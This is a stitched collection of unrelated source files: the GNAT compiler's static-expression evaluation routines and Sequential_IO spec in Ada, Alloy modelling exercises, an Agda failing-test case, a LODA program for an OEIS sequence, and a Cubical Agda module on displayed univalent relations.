Compile_Time_Known_Value (Lo); UB_Known : constant Boolean := Compile_Time_Known_Value (Hi); begin -- Fixed point types should be considered as such only in -- flag Fixed_Int is set to False. if Is_Floating_Point_Type (Typ) or else (Is_Fixed_Point_Type (Typ) and then not Fixed_Int) or else Int_Real then Valr := Expr_Value_R (N); if LB_Known and then Valr >= Expr_Value_R (Lo) and then UB_Known and then Valr <= Expr_Value_R (Hi) then return True; else return False; end if; else Val := Expr_Value (N); if LB_Known and then Val >= Expr_Value (Lo) and then UB_Known and then Val <= Expr_Value (Hi) then return True; else return False; end if; end if; end; end if; end Is_In_Range; ------------------- -- Is_Null_Range -- ------------------- function Is_Null_Range (Lo : Node_Id; Hi : Node_Id) return Boolean is Typ : constant Entity_Id := Etype (Lo); begin if not Compile_Time_Known_Value (Lo) or else not Compile_Time_Known_Value (Hi) then return False; end if; if Is_Discrete_Type (Typ) then return Expr_Value (Lo) > Expr_Value (Hi); else pragma Assert (Is_Real_Type (Typ)); return Expr_Value_R (Lo) > Expr_Value_R (Hi); end if; end Is_Null_Range; ----------------------------- -- Is_OK_Static_Expression -- ----------------------------- function Is_OK_Static_Expression (N : Node_Id) return Boolean is begin return Is_Static_Expression (N) and then not Raises_Constraint_Error (N); end Is_OK_Static_Expression; ------------------------ -- Is_OK_Static_Range -- ------------------------ -- A static range is a range whose bounds are static expressions, or a -- Range_Attribute_Reference equivalent to such a range (RM 4.9(26)). -- We have already converted range attribute references, so we get the -- "or" part of this rule without needing a special test. function Is_OK_Static_Range (N : Node_Id) return Boolean is begin return Is_OK_Static_Expression (Low_Bound (N)) and then Is_OK_Static_Expression (High_Bound (N)); end Is_OK_Static_Range; -------------------------- -- Is_OK_Static_Subtype -- -------------------------- -- Determines if Typ is a static subtype as defined in (RM 4.9(26)) -- where neither bound raises constraint error when evaluated. function Is_OK_Static_Subtype (Typ : Entity_Id) return Boolean is Base_T : constant Entity_Id := Base_Type (Typ); Anc_Subt : Entity_Id; begin -- First a quick check on the non static subtype flag. As described -- in further detail in Einfo, this flag is not decisive in all cases, -- but if it is set, then the subtype is definitely non-static. if Is_Non_Static_Subtype (Typ) then return False; end if; Anc_Subt := Ancestor_Subtype (Typ); if Anc_Subt = Empty then Anc_Subt := Base_T; end if; if Is_Generic_Type (Root_Type (Base_T)) or else Is_Generic_Actual_Type (Base_T) then return False; -- String types elsif Is_String_Type (Typ) then return Ekind (Typ) = E_String_Literal_Subtype or else (Is_OK_Static_Subtype (Component_Type (Typ)) and then Is_OK_Static_Subtype (Etype (First_Index (Typ)))); -- Scalar types elsif Is_Scalar_Type (Typ) then if Base_T = Typ then return True; else -- Scalar_Range (Typ) might be an N_Subtype_Indication, so -- use Get_Type_Low,High_Bound. return Is_OK_Static_Subtype (Anc_Subt) and then Is_OK_Static_Expression (Type_Low_Bound (Typ)) and then Is_OK_Static_Expression (Type_High_Bound (Typ)); end if; -- Types other than string and scalar types are never static else return False; end if; end Is_OK_Static_Subtype; --------------------- -- Is_Out_Of_Range -- --------------------- function Is_Out_Of_Range (N : Node_Id; Typ : Entity_Id; Fixed_Int : Boolean := False; Int_Real : Boolean := False) return Boolean is Val : Uint; Valr : Ureal; begin -- Universal types have no range limits, so always in range. if Typ = Universal_Integer or else Typ = Universal_Real then return False; -- Never out of range if not scalar type. Don't know if this can -- actually happen, but our spec allows it, so we must check! elsif not Is_Scalar_Type (Typ) then return False; -- Never out of range if this is a generic type, since the bounds -- of generic types are junk. Note that if we only checked for -- static expressions (instead of compile time known values) below, -- we would not need this check, because values of a generic type -- can never be static, but they can be known at compile time. elsif Is_Generic_Type (Typ) then return False; -- Never out of range unless we have a compile time known value. elsif not Compile_Time_Known_Value (N) then return False; else declare Lo : constant Node_Id := Type_Low_Bound (Typ); Hi : constant Node_Id := Type_High_Bound (Typ); LB_Known : constant Boolean := Compile_Time_Known_Value (Lo); UB_Known : constant Boolean := Compile_Time_Known_Value (Hi); begin -- Real types (note that fixed-point types are not treated -- as being of a real type if the flag Fixed_Int is set, -- since in that case they are regarded as integer types). if Is_Floating_Point_Type (Typ) or else (Is_Fixed_Point_Type (Typ) and then not Fixed_Int) or else Int_Real then Valr := Expr_Value_R (N); if LB_Known and then Valr < Expr_Value_R (Lo) then return True; elsif UB_Known and then Expr_Value_R (Hi) < Valr then return True; else return False; end if; else Val := Expr_Value (N); if LB_Known and then Val < Expr_Value (Lo) then return True; elsif UB_Known and then Expr_Value (Hi) < Val then return True; else return False; end if; end if; end; end if; end Is_Out_Of_Range; --------------------- -- Is_Static_Range -- --------------------- -- A static range is a range whose bounds are static expressions, or a -- Range_Attribute_Reference equivalent to such a range (RM 4.9(26)). -- We have already converted range attribute references, so we get the -- "or" part of this rule without needing a special test. function Is_Static_Range (N : Node_Id) return Boolean is begin return Is_Static_Expression (Low_Bound (N)) and then Is_Static_Expression (High_Bound (N)); end Is_Static_Range; ----------------------- -- Is_Static_Subtype -- ----------------------- -- Determines if Typ is a static subtype as defined in (RM 4.9(26)). function Is_Static_Subtype (Typ : Entity_Id) return Boolean is Base_T : constant Entity_Id := Base_Type (Typ); Anc_Subt : Entity_Id; begin -- First a quick check on the non static subtype flag. As described -- in further detail in Einfo, this flag is not decisive in all cases, -- but if it is set, then the subtype is definitely non-static. if Is_Non_Static_Subtype (Typ) then return False; end if; Anc_Subt := Ancestor_Subtype (Typ); if Anc_Subt = Empty then Anc_Subt := Base_T; end if; if Is_Generic_Type (Root_Type (Base_T)) or else Is_Generic_Actual_Type (Base_T) then return False; -- String types elsif Is_String_Type (Typ) then return Ekind (Typ) = E_String_Literal_Subtype or else (Is_Static_Subtype (Component_Type (Typ)) and then Is_Static_Subtype (Etype (First_Index (Typ)))); -- Scalar types elsif Is_Scalar_Type (Typ) then if Base_T = Typ then return True; else return Is_Static_Subtype (Anc_Subt) and then Is_Static_Expression (Type_Low_Bound (Typ)) and then Is_Static_Expression (Type_High_Bound (Typ)); end if; -- Types other than string and scalar types are never static else return False; end if; end Is_Static_Subtype; -------------------- -- Not_Null_Range -- -------------------- function Not_Null_Range (Lo : Node_Id; Hi : Node_Id) return Boolean is Typ : constant Entity_Id := Etype (Lo); begin if not Compile_Time_Known_Value (Lo) or else not Compile_Time_Known_Value (Hi) then return False; end if; if Is_Discrete_Type (Typ) then return Expr_Value (Lo) <= Expr_Value (Hi); else pragma Assert (Is_Real_Type (Typ)); return Expr_Value_R (Lo) <= Expr_Value_R (Hi); end if; end Not_Null_Range; ------------- -- OK_Bits -- ------------- function OK_Bits (N : Node_Id; Bits : Uint) return Boolean is begin -- We allow a maximum of 500,000 bits which seems a reasonable limit if Bits < 500_000 then return True; else Error_Msg_N ("static value too large, capacity exceeded", N); return False; end if; end OK_Bits; ------------------ -- Out_Of_Range -- ------------------ procedure Out_Of_Range (N : Node_Id) is begin -- If we have the static expression case, then this is an illegality -- in Ada 95 mode, except that in an instance, we never generate an -- error (if the error is legitimate, it was already diagnosed in -- the template). The expression to compute the length of a packed -- array is attached to the array type itself, and deserves a separate -- message. if Is_Static_Expression (N) and then not In_Instance and then Ada_95 then if Nkind (Parent (N)) = N_Defining_Identifier and then Is_Array_Type (Parent (N)) and then Present (Packed_Array_Type (Parent (N))) and then Present (First_Rep_Item (Parent (N))) then Error_Msg_N ("length of packed array must not exceed Integer''Last", First_Rep_Item (Parent (N))); Rewrite (N, Make_Integer_Literal (Sloc (N), Uint_1)); else Apply_Compile_Time_Constraint_Error (N, "value not in range of}"); end if; -- Here we generate a warning for the Ada 83 case, or when we are -- in an instance, or when we have a non-static expression case. else Warn_On_Instance := True; Apply_Compile_Time_Constraint_Error (N, "value not in range of}?"); Warn_On_Instance := False; end if; end Out_Of_Range; ------------------------- -- Rewrite_In_Raise_CE -- ------------------------- procedure Rewrite_In_Raise_CE (N : Node_Id; Exp : Node_Id) is Typ : constant Entity_Id := Etype (N); begin -- If we want to raise CE in the condition of a raise_CE node -- we may as well get rid of the condition if Present (Parent (N)) and then Nkind (Parent (N)) = N_Raise_Constraint_Error then Set_Condition (Parent (N), Empty); -- If the expression raising CE is a N_Raise_CE node, we can use -- that one. We just preserve the type of the context elsif Nkind (Exp) = N_Raise_Constraint_Error then Rewrite (N, Exp); Set_Etype (N, Typ); -- We have to build an explicit raise_ce node else Rewrite (N, Make_Raise_Constraint_Error (Sloc (Exp))); Set_Raises_Constraint_Error (N); Set_Etype (N, Typ); end if; end Rewrite_In_Raise_CE; --------------------- -- String_Type_Len -- --------------------- function String_Type_Len (Stype : Entity_Id) return Uint is NT : constant Entity_Id := Etype (First_Index (Stype)); T : Entity_Id; begin if Is_OK_Static_Subtype (NT) then T := NT; else T := Base_Type (NT); end if; return Expr_Value (Type_High_Bound (T)) - Expr_Value (Type_Low_Bound (T)) + 1; end String_Type_Len; ------------------------------------ -- Subtypes_Statically_Compatible -- ------------------------------------ function Subtypes_Statically_Compatible (T1 : Entity_Id; T2 : Entity_Id) return Boolean is begin if Is_Scalar_Type (T1) then -- Definitely compatible if we match if Subtypes_Statically_Match (T1, T2) then return True; -- If either subtype is nonstatic then they're not compatible elsif not Is_Static_Subtype (T1) or else not Is_Static_Subtype (T2) then return False; -- If either type has constraint error bounds, then consider that -- they match to avoid junk cascaded errors here. elsif not Is_OK_Static_Subtype (T1) or else not Is_OK_Static_Subtype (T2) then return True; -- Base types must match, but we don't check that (should -- we???) but we do at least check that both types are -- real, or both types are not real. elsif (Is_Real_Type (T1) /= Is_Real_Type (T2)) then return False; -- Here we check the bounds else declare LB1 : constant Node_Id := Type_Low_Bound (T1); HB1 : constant Node_Id := Type_High_Bound (T1); LB2 : constant Node_Id := Type_Low_Bound (T2); HB2 : constant Node_Id := Type_High_Bound (T2); begin if Is_Real_Type (T1) then return (Expr_Value_R (LB1) > Expr_Value_R (HB1)) or else (Expr_Value_R (LB2) <= Expr_Value_R (LB1) and then Expr_Value_R (HB1) <= Expr_Value_R (HB2)); else return (Expr_Value (LB1) > Expr_Value (HB1)) or else (Expr_Value (LB2) <= Expr_Value (LB1) and then Expr_Value (HB1) <= Expr_Value (HB2)); end if; end; end if; elsif Is_Access_Type (T1) then return not Is_Constrained (T2) or else Subtypes_Statically_Match (Designated_Type (T1), Designated_Type (T2)); else return (Is_Composite_Type (T1) and then not Is_Constrained (T2)) or else Subtypes_Statically_Match (T1, T2); end if; end Subtypes_Statically_Compatible; ------------------------------- -- Subtypes_Statically_Match -- ------------------------------- -- Subtypes statically match if they have statically matching constraints -- (RM 4.9.1(2)). Constraints statically match if there are none, or if -- they are the same identical constraint, or if they are static and the -- values match (RM 4.9.1(1)). function Subtypes_Statically_Match (T1, T2 : Entity_Id) return Boolean is begin -- A type always statically matches itself if T1 = T2 then return True; -- Scalar types elsif Is_Scalar_Type (T1) then -- Base types must be the same if Base_Type (T1) /= Base_Type (T2) then return False; end if; -- A constrained numeric subtype never matches an unconstrained -- subtype, i.e. both types must be constrained or unconstrained. -- To understand the requirement for this test, see RM 4.9.1(1). -- As is made clear in RM 3.5.4(11), type Integer, for example -- is a constrained subtype with constraint bounds matching the -- bounds of its corresponding uncontrained base type. In this -- situation, Integer and Integer'Base do not statically match, -- even though they have the same bounds. -- We only apply this test to types in Standard and types that -- appear in user programs. That way, we do not have to be -- too careful about setting Is_Constrained right for itypes. if Is_Numeric_Type (T1) and then (Is_Constrained (T1) /= Is_Constrained (T2)) and then (Scope (T1) = Standard_Standard or else Comes_From_Source (T1)) and then (Scope (T2) = Standard_Standard or else Comes_From_Source (T2)) then return False; end if; -- If there was an error in either range, then just assume -- the types statically match to avoid further junk errors if Error_Posted (Scalar_Range (T1)) or else Error_Posted (Scalar_Range (T2)) then return True; end if; -- Otherwise both types have bound that can be compared declare LB1 : constant Node_Id := Type_Low_Bound (T1); HB1 : constant Node_Id := Type_High_Bound (T1); LB2 : constant Node_Id := Type_Low_Bound (T2); HB2 : constant Node_Id := Type_High_Bound (T2); begin -- If the bounds are the same tree node, then match if LB1 = LB2 and then HB1 = HB2 then return True; -- Otherwise bounds must be static and identical value else if not Is_Static_Subtype (T1) or else not Is_Static_Subtype (T2) then return False; -- If either type has constraint error bounds, then say -- that they match to avoid junk cascaded errors here. elsif not Is_OK_Static_Subtype (T1) or else not Is_OK_Static_Subtype (T2) then return True; elsif Is_Real_Type (T1) then return (Expr_Value_R (LB1) = Expr_Value_R (LB2)) and then (Expr_Value_R (HB1) = Expr_Value_R (HB2)); else return Expr_Value (LB1) = Expr_Value (LB2) and then Expr_Value (HB1) = Expr_Value (HB2); end if; end if; end; -- Type with discriminants elsif Has_Discriminants (T1) or else Has_Discriminants (T2) then if Has_Discriminants (T1) /= Has_Discriminants (T2) then return False; end if; declare DL1 : constant Elist_Id := Discriminant_Constraint (T1); DL2 : constant Elist_Id := Discriminant_Constraint (T2); DA1 : Elmt_Id := First_Elmt (DL1); DA2 : Elmt_Id := First_Elmt (DL2); begin if DL1 = DL2 then return True; elsif Is_Constrained (T1) /= Is_Constrained (T2) then return False; end if; while Present (DA1) loop declare Expr1 : constant Node_Id := Node (DA1); Expr2 : constant Node_Id := Node (DA2); begin if not Is_Static_Expression (Expr1) or else not Is_Static_Expression (Expr2) then return False; -- If either expression raised a constraint error, -- consider the expressions as matching, since this -- helps to prevent cascading errors. elsif Raises_Constraint_Error (Expr1) or else Raises_Constraint_Error (Expr2) then null; elsif Expr_Value (Expr1) /= Expr_Value (Expr2) then return False; end if; end; Next_Elmt (DA1); Next_Elmt (DA2); end loop; end; return True; -- A definite type does not match an indefinite or classwide type. elsif Has_Unknown_Discriminants (T1) /= Has_Unknown_Discriminants (T2) then return False; -- Array type elsif Is_Array_Type (T1) then -- If either subtype is unconstrained then both must be, -- and if both are unconstrained then no further checking -- is needed. if not Is_Constrained (T1) or else not Is_Constrained (T2) then return not (Is_Constrained (T1) or else Is_Constrained (T2)); end if; -- Both subtypes are constrained, so check that the index -- subtypes statically match. declare Index1 : Node_Id := First_Index (T1); Index2 : Node_Id := First_Index (T2); begin while Present (Index1) loop if not Subtypes_Statically_Match (Etype (Index1), Etype (Index2)) then return False; end if; Next_Index (Index1); Next_Index (Index2); end loop; return True; end; elsif Is_Access_Type (T1) then return Subtypes_Statically_Match (Designated_Type (T1), Designated_Type (T2)); -- All other types definitely match else return True; end if; end Subtypes_Statically_Match; ---------- -- Test -- ---------- function Test (Cond : Boolean) return Uint is begin if Cond then return Uint_1; else return Uint_0; end if; end Test; --------------------------------- -- Test_Expression_Is_Foldable -- --------------------------------- -- One operand case procedure Test_Expression_Is_Foldable (N : Node_Id; Op1 : Node_Id; Stat : out Boolean; Fold : out Boolean) is begin Stat := False; -- If operand is Any_Type, just propagate to result and do not -- try to fold, this prevents cascaded errors. if Etype (Op1) = Any_Type then Set_Etype (N, Any_Type); Fold := False; return; -- If operand raises constraint error, then replace node N with the -- raise constraint error node, and we are obviously not foldable. -- Note that this replacement inherits the Is_Static_Expression flag -- from the operand. elsif Raises_Constraint_Error (Op1) then Rewrite_In_Raise_CE (N, Op1); Fold := False; return; -- If the operand is not static, then the result is not static, and -- all we have to do is to check the operand since it is now known -- to appear in a non-static context. elsif not Is_Static_Expression (Op1) then Check_Non_Static_Context (Op1); Fold := Compile_Time_Known_Value (Op1); return; -- An expression of a formal modular type is not foldable because -- the modulus is unknown. elsif Is_Modular_Integer_Type (Etype (Op1)) and then Is_Generic_Type (Etype (Op1)) then Check_Non_Static_Context (Op1); Fold := False; return; -- Here we have the case of an operand whose type is OK, which is -- static, and which does not raise constraint error, we can fold. else Set_Is_Static_Expression (N); Fold := True; Stat := True; end if; end Test_Expression_Is_Foldable; -- Two operand case procedure Test_Expression_Is_Foldable (N : Node_Id; Op1 : Node_Id; Op2 : Node_Id; Stat : out Boolean; Fold : out Boolean) is Rstat : constant Boolean := Is_Static_Expression (Op1) and then Is_Static_Expression (Op2); begin Stat := False; -- If either operand is Any_Type, just propagate to result and -- do not try to fold, this prevents cascaded errors. if Etype (Op1) = Any_Type or else Etype (Op2) = Any_Type then Set_Etype (N, Any_Type); Fold := False; return; -- If left operand raises constraint error, then replace node N with -- the raise constraint error node, and we are obviously not foldable. -- Is_Static_Expression is set from the two operands in the normal way, -- and we check the right operand if it is in a non-static context. elsif Raises_Constraint_Error (Op1) then if not Rstat then Check_Non_Static_Context (Op2); end if; Rewrite_In_Raise_CE (N, Op1); Set_Is_Static_Expression (N, Rstat); Fold := False; return; -- Similar processing for the case of the right operand. Note that -- we don't use this routine for the short-circuit case, so we do -- not have to worry about that special case here. elsif Raises_Constraint_Error (Op2) then if not Rstat then Check_Non_Static_Context (Op1); end if; Rewrite_In_Raise_CE (N, Op2); Set_Is_Static_Expression (N, Rstat); Fold := False; return; -- Exclude expressions of a generic modular type, as above. elsif Is_Modular_Integer_Type (Etype (Op1)) and then Is_Generic_Type (Etype (Op1)) then Check_Non_Static_Context (Op1); Fold := False; return; -- If result is not static, then check non-static contexts on operands -- since one of them may be static and the other one may not be static elsif not Rstat then Check_Non_Static_Context (Op1); Check_Non_Static_Context (Op2); Fold := Compile_Time_Known_Value (Op1) and then Compile_Time_Known_Value (Op2); return; -- Else result is static and foldable. Both operands are static, -- and neither raises constraint error, so we can definitely fold. else Set_Is_Static_Expression (N); Fold := True; Stat := True; return; end if; end Test_Expression_Is_Foldable; -------------- -- To_Bits -- -------------- procedure To_Bits (U : Uint; B : out Bits) is begin for J in 0 .. B'Last loop B (J) := (U / (2 ** J)) mod 2 /= 0; end loop; end To_Bits; end Sem_Eval;
test02/2013-2014/Capture.als
vitorhugo13/feup-mfes
0
4282
abstract sig TYPE {} one sig click, text, select extends TYPE {} sig PARAMS {} sig URL {} sig Acao { tipo : one TYPE, params : set PARAMS, url : lone URL } sig TracoEx { init : one URL, traco : Int one -> Acao } --1.1 fun acoesComAlteracaoDePagina[tr: TracoEx]: set Acao{ { a: (Int.(tr.traco)) | one a.url } } --1.2 fun primeiraAcao[tr: TracoEx]: Acao { { a: (Int.(tr.traco)) | one a.url and a.url = tr.init } } --1.3 fact mesmoURL{ all tr: TracoEx | tr.init = (tr.primeiraAcao).url } --1.4 fun URLultimaAcao[tr: TracoEx]: URL { (ultimaAcao[tr]).url } fun ultimaAcao[tr: TracoEx]: Acao{ { a: Acao | all a2: acoesComAlteracaoDePagina[tr] | a in acoesComAlteracaoDePagina[tr] and a != a2 and (tr.traco).a > (tr.traco).a2 } } --1.5 fact URLdiferentes{ all disj a1, a2: acoesComAlteracaoDePagina[TracoEx] | TracoEx.traco.a1 = TracoEx.traco.a2.minus[1] => a1.url != a2.url } run {}
alloy4fun_models/trainstlt/models/1/b99is78fvJ7RNFERg.als
Kaixi26/org.alloytools.alloy
0
3043
open main pred idb99is78fvJ7RNFERg_prop2 { eventually (all s:Signal | eventually Green in s) } pred __repair { idb99is78fvJ7RNFERg_prop2 } check __repair { idb99is78fvJ7RNFERg_prop2 <=> prop2o }
tools-src/gnu/gcc/gcc/ada/s-sequio.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
20865
<reponame>enfoTek/tomato.linksys.e2000.nvram-mod ------------------------------------------------------------------------------ -- -- -- GNAT RUNTIME COMPONENTS -- -- -- -- S Y S T E M . S E Q U E N T I A L _ I O -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992,1993,1994 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package contains the declaration of the control block used for -- Seqential_IO. This must be declared at the outer library level. It also -- contains code that is shared between instances of Sequential_IO. with System.File_Control_Block; with Ada.Streams; package System.Sequential_IO is package FCB renames System.File_Control_Block; type Sequential_AFCB is new FCB.AFCB with null record; -- No additional fields required for Sequential_IO function AFCB_Allocate (Control_Block : Sequential_AFCB) return FCB.AFCB_Ptr; procedure AFCB_Close (File : access Sequential_AFCB); procedure AFCB_Free (File : access Sequential_AFCB); procedure Read (File : in out Sequential_AFCB; Item : out Ada.Streams.Stream_Element_Array; Last : out Ada.Streams.Stream_Element_Offset); -- Required overriding of Read, not actually used for Sequential_IO procedure Write (File : in out Sequential_AFCB; Item : in Ada.Streams.Stream_Element_Array); -- Required overriding of Write, not actually used for Sequential_IO type File_Type is access all Sequential_AFCB; -- File_Type in individual instantiations is derived from this type procedure Create (File : in out File_Type; Mode : in FCB.File_Mode := FCB.Out_File; Name : in String := ""; Form : in String := ""); procedure Open (File : in out File_Type; Mode : in FCB.File_Mode; Name : in String; Form : in String := ""); end System.Sequential_IO;
test/Fail/Issue2679b.agda
shlevy/agda
1,989
9076
<gh_stars>1000+ postulate A : Set data B (a : A) : Set where conB : B a → B a → B a data C (a : A) : B a → Set where conC : {bl br : B a} → C a bl → C a br → C a (conB bl br) -- Second bug, likely same as first bug. {- An internal error has occurred. Please report this as a bug. Location of the error: src/full/Agda/TypeChecking/Abstract.hs:133 -} data F : Set where conF : F boo : (a : A) (b : B a) (c : C a _) → Set boo a b (conC tl tr) with tr | conF ... | _ | _ = _
oeis/127/A127439.asm
neoneye/loda-programs
11
1418
; A127439: Triangle read by rows, in which row n consists of first n terms of A054541. ; Submitted by <NAME>(s4) ; 2,2,1,2,1,2,2,1,2,2,2,1,2,2,4,2,1,2,2,4,2,2,1,2,2,4,2,4,2,1,2,2,4,2,4,2,2,1,2,2,4,2,4,2,4,2,1,2,2,4,2,4,2,4,6,2,1,2,2,4,2,4,2,4,6,2,2,1,2,2,4,2,4,2,4,6,2,6,2,1,2,2,4,2,4,2,4,6,2,6,4 lpb $0 add $1,1 sub $0,$1 lpe seq $0,230847 ; a(n) = 1 + A054541(n). sub $0,1
Cubical/Displayed/Properties.agda
dan-iel-lee/cubical
0
8145
<filename>Cubical/Displayed/Properties.agda {-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.Displayed.Properties where open import Cubical.Foundations.Prelude open import Cubical.Foundations.HLevels open import Cubical.Foundations.Isomorphism open import Cubical.Foundations.Equiv open import Cubical.Foundations.Univalence using (pathToEquiv) open import Cubical.Functions.FunExtEquiv open import Cubical.Data.Unit open import Cubical.Data.Nat open import Cubical.Data.Sigma open import Cubical.Relation.Binary open BinaryRelation open import Cubical.Displayed.Base private variable ℓ ℓA ℓA' ℓP ℓ≅A ℓ≅A' ℓB ℓB' ℓ≅B ℓ≅B' ℓC ℓ≅C : Level -- UARel on Σ-type module _ {A : Type ℓA} {ℓ≅A : Level} {𝒮-A : UARel A ℓ≅A} {B : A → Type ℓB} {ℓ≅B : Level} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) where open UARel 𝒮-A open DUARel 𝒮ᴰ-B ∫ : UARel (Σ A B) (ℓ-max ℓ≅A ℓ≅B) UARel._≅_ ∫ (a , b) (a' , b') = Σ[ p ∈ a ≅ a' ] (b ≅ᴰ⟨ p ⟩ b') UARel.ua ∫ (a , b) (a' , b') = compEquiv (Σ-cong-equiv (ua a a') (λ p → uaᴰ b p b')) ΣPath≃PathΣ -- UARel on Π-type module _ {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) {B : A → Type ℓB} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) where open UARel 𝒮-A open DUARel 𝒮ᴰ-B 𝒮ᴰ→𝒮-Π : UARel ((a : A) → B a) (ℓ-max ℓA ℓ≅B) UARel._≅_ 𝒮ᴰ→𝒮-Π f f' = ∀ a → f a ≅ᴰ⟨ ρ a ⟩ f' a UARel.ua 𝒮ᴰ→𝒮-Π f f' = compEquiv (equivΠCod λ a → uaᴰρ (f a) (f' a)) funExtEquiv -- induction principles module _ {A : Type ℓA} {ℓ≅A : Level} (𝒮-A : UARel A ℓ≅A) where open UARel 𝒮-A 𝒮-J : {a : A} (P : (a' : A) → (p : a ≡ a') → Type ℓ) (d : P a refl) {a' : A} (p : a ≅ a') → P a' (≅→≡ p) 𝒮-J {a} P d {a'} p = J (λ y q → P y q) d (≅→≡ p) 𝒮-J-2 : {a : A} (P : (a' : A) → (p : a ≅ a') → Type ℓ) (d : P a (ρ a)) {a' : A} (p : a ≅ a') → P a' p 𝒮-J-2 {a = a} P d {a'} p = subst (λ r → P a' r) (Iso.leftInv (uaIso a a') p) g where g : P a' (≡→≅ (≅→≡ p)) g = J (λ y q → P y (≡→≅ q)) d (≅→≡ p) -- constructors module _ {A : Type ℓA} {𝒮-A : UARel A ℓ≅A} {B : A → Type ℓB} (_≅ᴰ⟨_⟩_ : {a a' : A} → B a → UARel._≅_ 𝒮-A a a' → B a' → Type ℓ≅B) where open UARel 𝒮-A -- constructor that reduces ua to the case where p = ρ a by induction on p private 𝒮ᴰ-make-aux : (uni : {a : A} (b b' : B a) → b ≅ᴰ⟨ ρ a ⟩ b' ≃ (b ≡ b')) → ({a a' : A} (b : B a) (p : a ≅ a') (b' : B a') → (b ≅ᴰ⟨ p ⟩ b') ≃ PathP (λ i → B (≅→≡ p i)) b b') 𝒮ᴰ-make-aux uni {a} {a'} b p = 𝒮-J-2 𝒮-A (λ y q → (b' : B y) → (b ≅ᴰ⟨ q ⟩ b') ≃ PathP (λ i → B (≅→≡ q i)) b b') (λ b' → uni' b') p where g : (b' : B a) → (b ≡ b') ≡ PathP (λ i → B (≅→≡ (ρ a) i)) b b' g b' = subst (λ r → (b ≡ b') ≡ PathP (λ i → B (r i)) b b') (sym (Iso.rightInv (uaIso a a) refl)) refl uni' : (b' : B a) → b ≅ᴰ⟨ ρ a ⟩ b' ≃ PathP (λ i → B (≅→≡ (ρ a) i)) b b' uni' b' = compEquiv (uni b b') (pathToEquiv (g b')) 𝒮ᴰ-make-1 : (uni : {a : A} (b b' : B a) → b ≅ᴰ⟨ ρ a ⟩ b' ≃ (b ≡ b')) → DUARel 𝒮-A B ℓ≅B DUARel._≅ᴰ⟨_⟩_ (𝒮ᴰ-make-1 uni) = _≅ᴰ⟨_⟩_ DUARel.uaᴰ (𝒮ᴰ-make-1 uni) = 𝒮ᴰ-make-aux uni -- constructor that reduces univalence further to contractibility of relational singletons 𝒮ᴰ-make-2 : (ρᴰ : {a : A} → isRefl _≅ᴰ⟨ ρ a ⟩_) (contrTotal : (a : A) → contrRelSingl _≅ᴰ⟨ UARel.ρ 𝒮-A a ⟩_) → DUARel 𝒮-A B ℓ≅B DUARel._≅ᴰ⟨_⟩_ (𝒮ᴰ-make-2 ρᴰ contrTotal) = _≅ᴰ⟨_⟩_ DUARel.uaᴰ (𝒮ᴰ-make-2 ρᴰ contrTotal) = 𝒮ᴰ-make-aux (contrRelSingl→isUnivalent _ ρᴰ (contrTotal _)) -- lifts module _ {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) {B : A → Type ℓB} {ℓ≅B : Level} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) {C : A → Type ℓC} (𝒮ᴰ-C : DUARel 𝒮-A C ℓ≅C) where open DUARel 𝒮ᴰ-B Lift-𝒮ᴰ : DUARel (∫ 𝒮ᴰ-C) (λ (a , _) → B a) ℓ≅B DUARel._≅ᴰ⟨_⟩_ Lift-𝒮ᴰ b p b' = b ≅ᴰ⟨ p .fst ⟩ b' DUARel.uaᴰ Lift-𝒮ᴰ b p b' = uaᴰ b (p .fst) b' -- associativity module _ {A : Type ℓA} (𝒮-A : UARel A ℓ≅A) {B : A → Type ℓB} {ℓ≅B : Level} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) {C : Σ A B → Type ℓC} {ℓ≅C : Level} (𝒮ᴰ-C : DUARel (∫ 𝒮ᴰ-B) C ℓ≅C) where open UARel 𝒮-A open DUARel 𝒮ᴰ-B renaming (_≅ᴰ⟨_⟩_ to _≅B⟨_⟩_ ; uaᴰ to uaB) open DUARel 𝒮ᴰ-C renaming (_≅ᴰ⟨_⟩_ to _≅C⟨_⟩_ ; uaᴰ to uaC) splitTotal-𝒮ᴰ : DUARel 𝒮-A (λ a → Σ[ b ∈ B a ] C (a , b)) (ℓ-max ℓ≅B ℓ≅C) DUARel._≅ᴰ⟨_⟩_ splitTotal-𝒮ᴰ (b , c) p (b' , c') = Σ[ q ∈ b ≅B⟨ p ⟩ b' ] (c ≅C⟨ p , q ⟩ c') DUARel.uaᴰ splitTotal-𝒮ᴰ (b , c) p (b' , c') = compEquiv (Σ-cong-equiv (uaB b p b') (λ q → uaC c (p , q) c')) ΣPath≃PathΣ -- combination module _ {A : Type ℓA} {𝒮-A : UARel A ℓ≅A} {B : A → Type ℓB} {ℓ≅B : Level} (𝒮ᴰ-B : DUARel 𝒮-A B ℓ≅B) {C : A → Type ℓC} {ℓ≅C : Level} (𝒮ᴰ-C : DUARel 𝒮-A C ℓ≅C) where _×𝒮ᴰ_ : DUARel 𝒮-A (λ a → B a × C a) (ℓ-max ℓ≅B ℓ≅C) _×𝒮ᴰ_ = splitTotal-𝒮ᴰ 𝒮-A 𝒮ᴰ-B (Lift-𝒮ᴰ 𝒮-A 𝒮ᴰ-C 𝒮ᴰ-B) -- 